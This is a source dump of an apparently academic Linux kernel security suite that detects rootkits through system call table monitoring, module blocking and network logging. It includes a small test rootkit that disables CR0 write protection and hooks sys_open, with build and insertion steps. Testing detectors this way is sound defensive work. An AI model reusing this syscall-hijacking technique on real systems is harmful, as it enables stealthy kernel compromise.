{ 99 | connection_string_length++; 100 | } 101 | } 102 | 103 | memset(temp_procfs_buffer, '\0', PROCFS_MAX_SIZE); 104 | } 105 | 106 | int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data) 107 | { 108 | int written; 109 | 110 | if(offset > 0) 111 | { 112 | written = 0; 113 | } 114 | else if(buffer_length < procfs_buffer_size) 115 | { 116 | printk(KERN_ERR PROC_CONFIG_NAME ": Not large enought buffer to copy the procfs buffer\n"); 117 | written = 0; 118 | } 119 | else 120 | { 121 | /* Trim the last comma, if exists */ 122 | 123 | if(procfs_buffer[procfs_buffer_size - 1] == ',') 124 | { 125 | procfs_buffer_size--; 126 | procfs_buffer[procfs_buffer_size] = '\0'; 127 | } 128 | 129 | written = snprintf(buffer, buffer_length, "%s\n", procfs_buffer); 130 | } 131 | 132 | return written; 133 | } 134 | 135 | int procfile_write(struct file *file, const char *buffer, unsigned long count, void *data) 136 | { 137 | procfs_buffer_size = count; 138 | 139 | if(procfs_buffer_size >= PROCFS_MAX_SIZE) 140 | { 141 | printk(KERN_ERR PROC_CONFIG_NAME ": There is no enought space in the procfs buffer, changes will be ignored\n"); 142 | 143 | return -ENOSPC; 144 | } 145 | 146 | if(copy_from_user(procfs_buffer, buffer, procfs_buffer_size)) 147 | { 148 | return -EFAULT; 149 | } 150 | 151 | procfs_buffer[procfs_buffer_size - 1] = '\0'; 152 | 153 | update_whitelist(); 154 | 155 | return count; 156 | } 157 | 158 | int create_proc_config(void) 159 | { 160 | netlog_config_proc_file = create_proc_entry(PROC_CONFIG_NAME, 0600, NULL); 161 | 162 | if(netlog_config_proc_file == NULL) 163 | { 164 | remove_proc_entry(PROC_CONFIG_NAME, NULL); 165 | 166 | return -CREATE_PROC_FAILED; 167 | } 168 | 169 | netlog_config_proc_file->read_proc = procfile_read; 170 | netlog_config_proc_file->write_proc = procfile_write; 171 | netlog_config_proc_file->mode = S_IFREG | S_IRUSR | S_IWUSR; 172 | netlog_config_proc_file->uid = 0; 173 | netlog_config_proc_file->gid = 0; 174 | 175 | initialize_procfs_buffer(); 176 | 177 | return 0; 178 | } 179 | 180 | void destroy_proc_config(void) 181 | { 182 | if(netlog_config_proc_file != NULL) 183 | { 184 | remove_proc_entry(PROC_CONFIG_NAME, NULL); 185 | netlog_config_proc_file = NULL; 186 | 187 | initialize_procfs_buffer(); 188 | } 189 | } 190 | 191 | -------------------------------------------------------------------------------- /netlog/src/proc_config.h: -------------------------------------------------------------------------------- 1 | #ifndef __PROC_CONFIG__ 2 | #define __PROC_CONFIG__ 3 | 4 | #define PROCFS_MAX_SIZE 4096 5 | #define PROC_CONFIG_NAME "netlog-config" 6 | 7 | #define MAX_NEW_CONNECTION_SIZE 512 8 | 9 | #define CREATE_PROC_FAILED 5 10 | 11 | int create_proc_config(void); 12 | 13 | void destroy_proc_config(void); 14 | 15 | void add_connection_string_to_proc_config(const char *connection_string); 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /netlog/src/whitelist.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "whitelist.h" 8 | #include "connection.h" 9 | #include "proc_config.h" 10 | 11 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 25) 12 | #define call_d_path(file, buffer, length) d_path(file->f_dentry, file->f_vfsmnt, buffer, length); 13 | #else 14 | #define call_d_path(file, buffer, length) d_path(&file->f_path, buffer, length); 15 | #endif 16 | 17 | int size = 0; 18 | struct connection *white_list[MAX_WHITELIST_SIZE]; 19 | 20 | unsigned long flags; 21 | DEFINE_SPINLOCK(access_whitelist_spinlock); 22 | 23 | int whitelist(const char *connection_string) 24 | { 25 | int i; 26 | struct connection *connection_to_whitelist; 27 | 28 | spin_lock_irqsave(&access_whitelist_spinlock, flags); 29 | 30 | if(size == MAX_WHITELIST_SIZE) 31 | { 32 | /*List is full, cannot whitelist more processes*/ 33 | 34 | goto out_fail; 35 | } 36 | 37 | connection_to_whitelist = initialize_connection_from_string(connection_string); 38 | 39 | if(connection_to_whitelist == NULL) 40 | { 41 | goto out_fail; 42 | } 43 | 44 | /*Check if it's already whitelisted*/ 45 | 46 | for(i = 0; i < size; ++i) 47 | { 48 | if(connections_are_equal(connection_to_whitelist, white_list[i])) 49 | { 50 | /*Already whitelisted*/ 51 | 52 | goto out_fail; 53 | } 54 | } 55 | 56 | white_list[size] = connection_to_whitelist; 57 | ++size; 58 | 59 | /* Update the proc configuration buffer */ 60 | 61 | add_connection_string_to_proc_config(connection_string); 62 | 63 | spin_unlock_irqrestore(&access_whitelist_spinlock, flags); 64 | 65 | return WHITELISTED; 66 | out_fail: 67 | spin_unlock_irqrestore(&access_whitelist_spinlock, flags); 68 | 69 | return WHITELIST_FAIL; 70 | } 71 | 72 | int is_whitelisted(const struct task_struct *task, const char *ip, const int port) 73 | { 74 | int i; 75 | unsigned int path_length; 76 | char *path, buffer[MAX_ABSOLUTE_EXEC_PATH + 1] = {'\0'}; 77 | 78 | if(unlikely(task == NULL) || unlikely(task->mm == NULL)) 79 | { 80 | goto not_whitelisted; 81 | } 82 | 83 | /*Retrieve the absolute execution path of the process*/ 84 | 85 | path = exe_from_mm(task->mm, buffer, MAX_ABSOLUTE_EXEC_PATH); 86 | 87 | if(unlikely(path == NULL)) 88 | { 89 | goto not_whitelisted; 90 | } 91 | 92 | path_length = strnlen(path, MAX_ABSOLUTE_EXEC_PATH); 93 | 94 | if(unlikely(path_length == 0) || unlikely(path_length == MAX_ABSOLUTE_EXEC_PATH)) 95 | { 96 | /*Empty or paths greater than our limit are not whitelisted*/ 97 | 98 | goto not_whitelisted; 99 | } 100 | 101 | /*Check if the execution path and the ip and port are whitelisted*/ 102 | 103 | spin_lock_irqsave(&access_whitelist_spinlock, flags); 104 | 105 | for(i = 0; i < size; ++i) 106 | { 107 | if(connection_matches_attributes(white_list[i], path, ip, port)) 108 | { 109 | /*Connection found in the whitelist*/ 110 | 111 | goto whitelisted; 112 | } 113 | } 114 | 115 | spin_unlock_irqrestore(&access_whitelist_spinlock, flags); 116 | 117 | not_whitelisted: 118 | return NOT_WHITELISTED; 119 | whitelisted: 120 | spin_unlock_irqrestore(&access_whitelist_spinlock, flags); 121 | 122 | return WHITELISTED; 123 | } 124 | 125 | void destroy_whitelist(void) 126 | { 127 | int i; 128 | 129 | spin_lock_irqsave(&access_whitelist_spinlock, flags); 130 | 131 | for(i = 0; i < size; ++i) 132 | { 133 | destroy_connection(white_list[i]); 134 | } 135 | 136 | size = 0; 137 | 138 | spin_unlock_irqrestore(&access_whitelist_spinlock, flags); 139 | } 140 | 141 | char *exe_from_mm(const struct mm_struct *mm, char *buffer, int length) 142 | { 143 | char *p = NULL; 144 | struct vm_area_struct *vma; 145 | 146 | if(unlikely(mm == NULL)) 147 | { 148 | return NULL; 149 | } 150 | 151 | vma = mm->mmap; 152 | 153 | while(vma) 154 | { 155 | if((vma->vm_flags & VM_EXECUTABLE) && vma->vm_file) 156 | { 157 | break; 158 | } 159 | 160 | vma = vma->vm_next; 161 | } 162 | 163 | if(vma && vma->vm_file) 164 | { 165 | p = call_d_path(vma->vm_file, buffer, length); 166 | 167 | if(IS_ERR(p)) 168 | { 169 | p = NULL; 170 | } 171 | } 172 | 173 | return p; 174 | } 175 | 176 | -------------------------------------------------------------------------------- /netlog/src/whitelist.h: -------------------------------------------------------------------------------- 1 | #ifndef __WHITELIST__ 2 | #define __WHITELIST__ 3 | 4 | #define WHITELIST_FAIL -1 5 | 6 | #define WHITELISTED 1 7 | #define NOT_WHITELISTED 0 8 | 9 | /*The maximum lenght of the whitelisted paths. Any path 10 | *with lenght greater than this, cannot be whitelisted. 11 | */ 12 | 13 | #define MAX_ABSOLUTE_EXEC_PATH 950 14 | 15 | /*The number of maximum whitelisted processes*/ 16 | 17 | #define MAX_WHITELIST_SIZE 150 18 | 19 | struct task_struct; 20 | 21 | int whitelist(const char *connection_string); 22 | 23 | int is_whitelisted(const struct task_struct *task, const char *ip, const int port); 24 | 25 | void destroy_whitelist(void); 26 | 27 | char *exe_from_mm(const struct mm_struct *mm, char *buf, int len); 28 | 29 | #endif 30 | 31 | -------------------------------------------------------------------------------- /readme.markdown: -------------------------------------------------------------------------------- 1 | # Linux Kernel Security Suite 2 | 3 | [![Join the chat at https://gitter.im/PanosSakkos/linux-kernel-security-suite](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/PanosSakkos/linux-kernel-security-suite?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) 4 | 5 | A collection of three tools that are designed to protect linux from rootkits. 6 | 7 | ## The Drip Dry Carbonite 8 | 9 | Protects the system call table, by monitoring it. 10 | In case of an attempt of modifying the system call table, it will get a snapshot of the processes running in the system and freeze the machine. 11 | 12 | ## Dresden 13 | 14 | Dresden blocks all the attempts to insert modules in the kernel. In case of attempting to insert a module, apart from blocking it, it will dump its instruction memory and log a warning message. 15 | 16 | ## Netlog 17 | 18 | Logs all network communication by probing the inet stack of the kernel. 19 | 20 | # Supporting the repo 21 | 22 | In case you want to support the development, feel free to send a few bits here 17U479M6uMfsqh7vP2ZMKr62pNVjvCNxvu 23 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/.gitignore: -------------------------------------------------------------------------------- 1 | #gedit backups 2 | *~ 3 | 4 | #binary of the user space tool 5 | trigger-carbonite 6 | 7 | # Vi swap files 8 | .*.swp 9 | 10 | *.tgz 11 | *.tar.gz 12 | *.rpm 13 | 14 | .* 15 | !.gitignore 16 | *.o 17 | *.o.* 18 | *.ko 19 | *.ko.* 20 | *.mod.c 21 | *.order 22 | Module.symvers 23 | Module.markers 24 | rpms 25 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/LICENSE: -------------------------------------------------------------------------------- 1 | Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 2 | by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 3 | a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 4 | some modern security mechanisms. 5 | Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 6 | 7 | Copyright (C) 2013 Panos Sakkos 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/docs/README: -------------------------------------------------------------------------------- 1 | Ckick the document that you want to read and then click "view raw". 2 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/docs/jones2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/le4ker/linux-kernel-security-suite/8c1c599ca32d164a577698834eb2949f6ce85935/the-drip-dry-carbonite/docs/jones2.pdf -------------------------------------------------------------------------------- /the-drip-dry-carbonite/docs/presentation.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/le4ker/linux-kernel-security-suite/8c1c599ca32d164a577698834eb2949f6ce85935/the-drip-dry-carbonite/docs/presentation.pdf -------------------------------------------------------------------------------- /the-drip-dry-carbonite/readme.markdown: -------------------------------------------------------------------------------- 1 | The Drip Dry Carbonite 2 | ====================== 3 | 4 | Description 5 | ----------- 6 | 7 | Security extensions for the linux kernel, as described in "FORENSICS: Loadable Kernel Modules" 8 | article, by Keith J. Jones at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 9 | suggested tools in a kernel module that is compatible with the modern versions of the linux kernel 10 | and will also incorporates some modern security mechanisms. 11 | 12 | Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 13 | 14 | ### Monitoring integrity of the system call table 15 | 16 | the-drip-dry-carbonite registers timer interrupts in order to verify the integrity of the 17 | system call table and gets notified after a module event in order to monitor the system call table 18 | after an insertion of a kernel module. The interval between the interrupts can be specified as a 19 | parameter of the module and the default value is every second. If a change in the hash of the system 20 | call table is detected, a critical log will be logged and carbonite functionality will be triggered. 21 | 22 | #### Tuning the monitoring 23 | 24 | You can set the interval between the monitoring of the hash of the system call table, by setting the 25 | sys_call_table_check_interval parameter while inserting the module. Default value is every 1 second. 26 | 27 | You can also disable the monitoring of the system call table, by the setting sys_call_table_monitoring 28 | parameter of the module to 0. Default value is to monitor the system call table. 29 | 30 | ### Carbonite 31 | 32 | By executing trigger-carbonite you will command the kernel module to freeze the system and take 33 | a snapshot of each process. Then you will be able to see the snapshot by reading the 34 | /proc/the-drip-dry-carbonite-dump file. Carbonite functionality should be used by a system administrator, 35 | in order to dump the state of the system and perform forensics on this data. 36 | The carbonite symbol is exported in order to be used by other kernel modules, i.e. by security modules that 37 | detected an incident and they want to get a dump of the system's processes. 38 | 39 | #### Remote logging 40 | 41 | You can enable remote logging in order to instruct the-drip-dry-carbonite to send a backup of its carbonite logs to 42 | a syslog server. In order to enable the remote logging, you need to specify the IP address of the syslog server as a 43 | parameter (remote_log_ip) to the module while inserting it. 44 | 45 | #### Stealth mode 46 | 47 | By default the-drip-dry-carbonite is hidden from the kernel and it cannot be removed. In order to disable this behaviour 48 | load the module with parameter "stealth" set to 0. 49 | 50 | #### Dumped data 51 | 52 | The dumped data of the processes are the pid, uid, gid, state, name and start time (in epoch) of each process. 53 | 54 | ##### Sample dump 55 | 56 | ![carbonite dump] (https://dl.dropbox.com/u/8522559/carb.png "sample carbonite dump") 57 | 58 | #### Demo 59 | 60 | http://www.youtube.com/watch?v=EmklHQn20ZM 61 | 62 | Installation 63 | ------------ 64 | 65 | Execute the install script, found under the utils directory. The script will compile the 66 | user-space tool (trigger-carbonite) and the kernel module. Then it will insert the kernel module 67 | in the kernel and will place the trigger-carbonite executable under /bin and /usr/bin directories. 68 | In order to uninstall carbonite, run uninstall script (under utils directory) as root. 69 | 70 | Supported kernel versions 71 | ------------------------- 72 | 2.6.32 and later 73 | 74 | Kernels tested against 75 | ---------------------- 76 | 77 | 2.6.32-279.14.1.el6.x86_64 78 | 3.4.2-4.fc17.x86_64 79 | 80 | Version log 81 | ----------- 82 | 83 | #### 1.4.2 84 | Added notifier handler after a module event 85 | 86 | #### 1.3.2 87 | Added Stealth mode 88 | 89 | ##### 1.2.2 90 | Added remote logging and fixed several bugs 91 | 92 | ##### 1.1.1 93 | Added uninstall script 94 | 95 | ##### 1.0.1 96 | Fixed bug where the incident handler was dispatched during the first check of the system call table 97 | 98 | ##### 1.0 99 | First version completed 100 | 101 | Future Work 102 | ----------- 103 | 104 | ##### Dump more process information 105 | Enviroment variables, arguments, open files, executable 106 | 107 | ##### Reveal (explicitly) hidden processes 108 | 109 | ### License 110 | 111 | Security extensions for the linux kernel, as described in "FORENSICS: Loadable Kernel Modules" 112 | article, by Keith J. Jones at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 113 | suggested tools in a kernel module that is compatible with the modern versions of the linux kernel 114 | and will also incorporates some modern security mechanisms. 115 | 116 | Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 117 | 118 | Copyright (C) 2013 Panos Sakkos 119 | 120 | This program is free software: you can redistribute it and/or modify 121 | it under the terms of the GNU General Public License as published by 122 | the Free Software Foundation, either version 3 of the License, or 123 | (at your option) any later version. 124 | 125 | This program is distributed in the hope that it will be useful, 126 | but WITHOUT ANY WARRANTY; without even the implied warranty of 127 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 128 | GNU General Public License for more details. 129 | 130 | You should have received a copy of the GNU General Public License 131 | along with this program. If not, see . 132 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Variables needed to build the kernel module 3 | # 4 | name = the-drip-dry-carbonite 5 | src_files = carbonite.c command-chrdev.c super-fast-hash.c sys-call-table-integrity-check.c proc-entry.c task-dump.c task-dump-list.c task-dump-seq-file.c task-utils.c my-kallsyms.c logger.c 6 | 7 | obj-m += $(name).o 8 | $(name)-objs := $(src_files:.c=.o) 9 | 10 | all: clean build 11 | 12 | .PHONY: build install clean 13 | 14 | build: clean 15 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules CONFIG_DEBUG_SECTION_MISMATCH=y 16 | 17 | install: build 18 | -mkdir -p /lib/modules/`uname -r`/kernel/arch/x86/kernel/ 19 | cp $(name).ko /lib/modules/`uname -r`/kernel/arch/x86/kernel/ 20 | depmod /lib/modules/`uname -r`/kernel/arch/x86/kernel/$(name).ko 21 | 22 | clean: 23 | [ -d /lib/modules/$(shell uname -r)/build ] && \ 24 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 25 | 26 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/attacks/sys-call-table-hijacker/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := hijacker.o 2 | hijacker-objs := sys-call-table-hijacker.o my-kallsyms.o 3 | 4 | all: clean 5 | $(MAKE) -C /lib/modules/`uname -r`/build M=`pwd` modules 6 | clean: 7 | $(MAKE) -C /lib/modules/`uname -r`/build M=`pwd` clean 8 | $(RM) Module.markers modules.order 9 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/attacks/sys-call-table-hijacker/README.md: -------------------------------------------------------------------------------- 1 | sys-call-table-hijacker 2 | ======================= 3 | 4 | Description 5 | ----------- 6 | 7 | A simple rootkit that hijacks the open system call and replaces it 8 | with one that has implemented itself. This is a "dummy" open that simply 9 | calls the original. Interesting part of this source is the bypassing of the 10 | page protection, by setting the 16-th bit of Control Register 0. 11 | 12 | USE THIS WORK ONLY FOR TESTING SOFTWARE WITH WHITE PURPOSES 13 | 14 | Compilation and insertion of the module 15 | --------------------------------------- 16 | 17 | In the src directory run `make` and then `insmod ./hijacker.ko`, as root. 18 | 19 | Supported kernel versions 20 | ------------------------- 21 | 2.6.32 and later 22 | 23 | Kernels Tested against 24 | ---------------------- 25 | 26 | 2.6.32-279.14.1.el6.x86_64 27 | 3.4.2-4.fc17.x86_64 28 | 29 | ### License 30 | 31 | Security extensions for the linux kernel, as described in "FORENSICS: Loadable Kernel Modules" 32 | article, by Keith J. Jones at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 33 | suggested tools in a kernel module that is compatible with the modern versions of the linux kernel 34 | and will also incorporates some modern security mechanisms. 35 | 36 | Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 37 | 38 | Copyright (C) 2013 Panos Sakkos 39 | 40 | This program is free software: you can redistribute it and/or modify 41 | it under the terms of the GNU General Public License as published by 42 | the Free Software Foundation, either version 3 of the License, or 43 | (at your option) any later version. 44 | 45 | This program is distributed in the hope that it will be useful, 46 | but WITHOUT ANY WARRANTY; without even the implied warranty of 47 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 48 | GNU General Public License for more details. 49 | 50 | You should have received a copy of the GNU General Public License 51 | along with this program. If not, see . 52 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/attacks/sys-call-table-hijacker/my-kallsyms.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include "my-kallsyms.h" 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | unsigned long target_address; 31 | 32 | int find(void *data, const char *name, struct module *module, unsigned long address) 33 | { 34 | char *target_name = (char *) data; 35 | 36 | if(!strncmp(target_name, name, KSYM_NAME_LEN)) 37 | { 38 | target_address = address; 39 | return 1; 40 | } 41 | 42 | return 0; 43 | } 44 | 45 | int return_next_symbol; 46 | 47 | int find_next(void *data, const char *name, struct module *module, unsigned long address) 48 | { 49 | unsigned long target = * (unsigned long *) data; 50 | 51 | if(target == address) 52 | { 53 | return_next_symbol = 1; 54 | return 0; 55 | } 56 | 57 | if(return_next_symbol) 58 | { 59 | target_address = address; 60 | return 1; 61 | } 62 | 63 | return 0; 64 | } 65 | 66 | unsigned long find_next_symbol(unsigned long target_symbol) 67 | { 68 | target_address = 0; 69 | return_next_symbol = 0; 70 | 71 | kallsyms_on_each_symbol(&find_next, (void *) &target_symbol); 72 | 73 | return target_address; 74 | } 75 | 76 | unsigned long my_kallsyms_lookup_name(const char *name) 77 | { 78 | #if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 32) 79 | target_address = 0; 80 | 81 | kallsyms_on_each_symbol(&find, (void *) name); 82 | 83 | return target_address; 84 | #else 85 | return kallsyms_lookup_name(name); 86 | #endif 87 | } 88 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/attacks/sys-call-table-hijacker/my-kallsyms.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #ifndef __MY_KALLSYMS__ 25 | #define __MY_KALLSYMS__ 26 | 27 | unsigned long my_kallsyms_lookup_name(const char *name); 28 | 29 | unsigned long find_next_symbol(unsigned long target_symbol); 30 | 31 | #endif 32 | 33 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/attacks/sys-call-table-hijacker/sys-call-table-hijacker.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include 25 | #include 26 | #include 27 | #include "my-kallsyms.h" 28 | 29 | #define SYMBOL_NOT_FOUND -1 30 | #define MODULE_NAME "sys-call-table-hijacker" 31 | 32 | void **sys_call_table; 33 | 34 | asmlinkage int (*original_call) (const char*, int, int) = NULL; 35 | 36 | /* Enable/Disable page protection. We need it in order to write the sys_call_table*/ 37 | 38 | static void disable_page_protection(void) 39 | { 40 | unsigned long cr0 = read_cr0(); 41 | 42 | cr0 &= ~ (1 << 16); 43 | write_cr0(cr0); 44 | } 45 | 46 | static void enable_page_protection(void) 47 | { 48 | unsigned long cr0 = read_cr0(); 49 | 50 | cr0 |= (1 << 16); 51 | write_cr0(cr0); 52 | } 53 | 54 | static asmlinkage int hijacker_sys_open(const char* file, int flags, int mode) 55 | { 56 | printk(MODULE_NAME ": PWNED\n"); 57 | 58 | return original_call(file, flags, mode); 59 | } 60 | 61 | int __init hijack(void) 62 | { 63 | sys_call_table = (void *) my_kallsyms_lookup_name("sys_call_table"); 64 | 65 | if(sys_call_table == NULL) 66 | { 67 | printk(MODULE_NAME ":\t[-] sys_call_table symbol not found\n"); 68 | return SYMBOL_NOT_FOUND; 69 | } 70 | 71 | original_call = sys_call_table[__NR_open]; 72 | 73 | disable_page_protection(); 74 | sys_call_table[__NR_open] = hijacker_sys_open; 75 | enable_page_protection(); 76 | 77 | printk(MODULE_NAME ":\t[+] Injected sys_open\n"); 78 | 79 | return 0; 80 | } 81 | 82 | void __exit cleanup(void) 83 | { 84 | printk(MODULE_NAME ":\t[+] Cleaning up\n"); 85 | 86 | disable_page_protection(); 87 | sys_call_table[__NR_open] = original_call; 88 | enable_page_protection(); 89 | 90 | return; 91 | } 92 | 93 | module_init(hijack); 94 | module_exit(cleanup); 95 | 96 | MODULE_LICENSE("GPL"); 97 | MODULE_AUTHOR("Panos Sakkos "); 98 | MODULE_DESCRIPTION("Hijacks the open system call. Use for testing white software only\n"); 99 | -------------------------------------------------------------------------------- /the-drip-dry-carbonite/src/carbonite.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article, 3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in 4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates 5 | * some modern security mechanisms. 6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos 7 | * 8 | * Copyright (C) 2013 Panos Sakkos 9 | * 10 | * This program is free software: you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License as published by 12 | * the Free Software Foundation, either version 3 of the License, or 13 | * (at your option) any later version. 14 | * 15 | * This program is distributed in the hope that it will be useful, 16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | * GNU General Public License for more details. 19 | * 20 | * You should have received a copy of the GNU General Public License 21 | * along with this program. If not, see . 22 | */ 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include "carbonite.h" 30 | #include "command-chrdev.h" 31 | #include "sys-call-table-integrity-check.h" 32 | #include "task-dump.h" 33 | #include "logger.h" 34 | #include "carbonite.h" 35 | 36 | unsigned int sys_call_table_check_interval = 1000; 37 | module_param(sys_call_table_check_interval, uint, 0000); 38 | MODULE_PARM_DESC(sys_call_table_check_interval, "The interval (in milliseconds) between the checks of the system call table's integrity.\n" 39 | "\t\tDefault value is 1000 (1 second)"); 40 | 41 | unsigned int sys_call_table_monitoring = 1; 42 | module_param(sys_call_table_monitoring, int, 0000); 43 | MODULE_PARM_DESC(sys_call_table_monitoring, "Variable to designate wether to monitor or not the integrity of the system call table.\n" 44 | " \t\tDefault is to monitor (1), set to 0 to skip integrity check"); 45 | 46 | char *remote_log_ip = NULL; 47 | module_param(remote_log_ip, charp, 0000); 48 | MODULE_PARM_DESC(remote_log_ip, "IPv4 address for remote syslog server. If not set, remote logging will be disabled.\n"); 49 | 50 | unsigned int stealth = 1; 51 | module_param(stealth, int, 0000); 52 | MODULE_PARM_DESC(stealth, "Switch \"Stealth mode\" off, by setting to 0.\n"); 53 | 54 | int previous_reason = NONE; 55 | 56 | void print_dispatch_reason(int why) 57 | { 58 | switch(why) 59 | { 60 | case AFTER_INCIDENT: 61 | 62 | print_log(KERN_INFO MODULE_NAME ":\t[+] Triggering carbonite after detected incident\n"); 63 | 64 | break; 65 | case AFTER_MODULE_INIT: 66 | 67 | print_log(KERN_INFO MODULE_NAME ":\t[+] Triggering carbonite after module initialization\n"); 68 | 69 | break; 70 | case ON_DEMAND: 71 | 72 | print_log(KERN_INFO MODULE_NAME ":\t[+] Triggering carbonite from trigger-carbonite\n"); 73 | 74 | break; 75 | default: 76 | print_log(KERN_ERR MODULE_NAME ":\t[-] Unknown reason of carbonite dispatch\n"); 77 | } 78 | } 79 | 80 | void carbonite(int why) 81 | { 82 | int ret; 83 | unsigned long flags; 84 | struct task_struct *task; 85 | DEFINE_SPINLOCK(carbonite_spinlock); 86 | 87 | if(previous_reason == AFTER_MODULE_INIT && why == AFTER_INCIDENT) 88 | { 89 | /* Don't trigger carbonite twice for an attacking module, 90 | * because the snapshot of the processes will not be accurate. 91 | */ 92 | 93 | previous_reason = why; 94 | 95 | return; 96 | } 97 | 98 | print_dispatch_reason(why); 99 | 100 | /* Stop the world */ 101 | 102 | spin_lock_irqsave(&carbonite_spinlock, flags); 103 | 104 | for_each_process(task) 105 | { 106 | ret = dump_task(task); 107 | 108 | if(!ret) 109 | { 110 | print_log(KERN_ERR MODULE_NAME ":\t[-] Failed to dump %s task with PID %d\n", task->comm, task->pid); 111 | } 112 | } 113 | 114 | spin_unlock_irqrestore(&carbonite_spinlock, flags); 115 | 116 | previous_reason = why; 117 | } 118 | EXPORT_SYMBOL(carbonite); 119 | 120 | int __init carbonite_init(void) 121 | { 122 | int ret; 123 | 124 | 